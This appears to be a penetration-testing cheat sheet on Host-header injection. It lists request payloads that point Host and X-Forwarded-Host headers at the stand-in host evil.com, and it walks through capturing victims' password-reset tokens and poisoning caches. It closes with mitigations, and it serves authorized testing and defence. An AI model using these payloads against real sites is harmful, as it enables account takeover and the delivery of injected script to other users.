🌶 HOST-HEADER-INJECTION

Many apps trust the Host (or X-Forwarded-Host) header to build absolute URLs.
Controlling it enables password-reset poisoning, cache poisoning, SSRF and
routing-based attacks. Authorized testing only.

1) Change Host outright:
     GET / HTTP/1.1
     Host: evil.com
   App still returns 200 with your host reflected -> injectable.
2) Inject override headers (keep real Host):
     X-Forwarded-Host: evil.com
     X-Host: evil.com
     X-Forwarded-Server: evil.com
     X-HTTP-Host-Override: evil.com
     Forwarded: host=evil.com
3) Duplicate Host headers (parser differential):
     Host: target.com
     Host: evil.com
4) Absolute-URL request line + Host:
     GET https://target.com/ HTTP/1.1
     Host: evil.com
5) Host with port / path / line wrap:
     Host: target.com:evil.com   |   Host: target.com\n X-Forwarded-Host: evil.com

Trigger reset for a victim while sending X-Forwarded-Host: evil.com. If the
reset email's link is built from the header, the victim's token lands on your
host when they click:
     https://evil.com/reset?token=<victim-token>
Capture the token -> reset their password.

If Host/X-Forwarded-Host is reflected and the response is cached (unkeyed header),
poison the cache so other users get your injected content/script:
     GET /resource?cb=1   X-Forwarded-Host: evil.com   -> cached redirect/XSS
Find unkeyed inputs with Param Miner (Burp).

- Routing / virtual-host confusion -> reach internal apps (SSRF-like).
- Reset/verification link hijack, SSO callback manipulation.
- Reflected Host in <link>/<script src> -> load attacker JS.

Burp Repeater (edit Host / add X-Forwarded-Host), Param Miner (unkeyed headers),
nuclei host-header templates. Confirm email-based flows on an authorized account.

Validate Host against an allowlist of expected domains, build absolute URLs from
a server-side configured base URL (never from the request header), and strip
X-Forwarded-* at the edge unless you trust and sanitize them.